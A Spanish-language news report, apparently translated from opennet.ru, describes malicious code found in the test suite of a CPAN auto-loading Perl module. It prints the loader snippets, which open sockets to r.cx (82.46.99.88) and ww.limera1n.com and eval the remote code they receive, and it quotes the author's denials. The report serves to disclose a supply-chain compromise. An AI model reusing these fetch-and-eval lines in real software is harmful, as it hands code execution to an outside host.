En el paquete Perl distribuido a través del catálogo CPAN , destinado a la carga automática de módulos de CPAN sobre la marcha, código malicioso. Se insertó código malicioso el código de prueba , que se ha suministrado desde 2011.
Es notable que las preguntas sobre la carga de código sospechoso surgieron en 2016.
La actividad maliciosa se reduce a intentos de cargar y ejecutar código desde un servidor externo (http://r.cx:1/) durante la ejecución del conjunto de pruebas, que se inicia al instalar el módulo. Se supone que el código inicialmente descargado desde el servidor externo no era malicioso, pero ahora la solicitud se redirige al dominio ww.limera1n.com, que proporciona su parte de código para su ejecución.
Para organizar la carga en el archivo se utiliza el siguiente código:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
El código indicado lleva a la ejecución del script , cuyo contenido se reduce a la línea:
use lib do{eval && botstrap("RCX") if $b = new IO::Socket::INET 82.46.99.88.:1"};
Este script carga a través del servicio del host externo r.cx (los códigos de símbolos 82.46.99.88 corresponden al texto "R.cX") y lo ejecuta en un bloque eval.
$ perl -MIO::Socket -e '$b = new IO::Socket::INET 82.46.99.88.:1"; print ;'
eval unpack u=q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Después de descomprimir, finalmente se ejecuta lo siguiente :
print{$b = new IO::Socket::INET "ww.limera1n.com:80"} "GET /iJailBreak
"; eval or return warn $@ while $b; 1
Actualmente, el paquete problemático ha sido eliminado del repositorio (Servidor de Carga de Autores de Perl), y la cuenta del autor del módulo ha sido bloqueada. Sin embargo, el módulo permanece archivado en MetaCPAN y puede ser instalado directamente desde MetaCPAN utilizando algunas herramientas, como cpanminus. , por lo que el paquete no fue ampliamente distribuido.
Es interesante que el autor del módulo discutió y negó que el código malicioso se insertó tras el hackeo de su sitio "r.cx" y explicó que simplemente estaba jugando, y que perlobfuscator.com no se utilizó para ocultar nada, sino para reducir el tamaño del código y facilitar su copia a través del portapapeles. La elección del nombre de la función "botstrap" se explicó en que suena como "bot" y es más corto que "bootstrap". El autor del módulo también aseguró que las manipulaciones detectadas no llevan a cabo acciones maliciosas, sino que simplemente demuestran la carga y ejecución de código a través de TCP.
Fuente: opennet.ru
